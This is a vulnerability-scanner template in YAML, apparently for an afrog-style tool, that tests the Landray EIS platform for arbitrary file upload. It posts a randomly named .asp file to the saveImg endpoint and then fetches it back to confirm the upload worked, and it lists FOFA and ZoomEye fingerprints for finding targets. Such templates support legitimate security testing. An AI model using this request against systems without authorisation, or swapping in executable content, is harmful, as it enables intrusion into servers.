id: landray-eis-saveimg-fileupload

info:
  name: 蓝凌EIS智慧协同平台任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    fofa: icon_hash="953405444"
    zoomeye: app:"蓝凌EIS智慧协同平台"
  tags: landray,fileupload
  created: 2023/10/18

set:
  randstr: randomLowercase(10)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /eis/service/api.aspx?action=saveImg
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"filename=\"{{randstr}}.asp\"\r\n\
        Content-Type: text/html\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'/files/editor_img')
    output:
      filename: string(response.body)
  r1:
    request:
      method: GET
      path: /{{filename}}
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()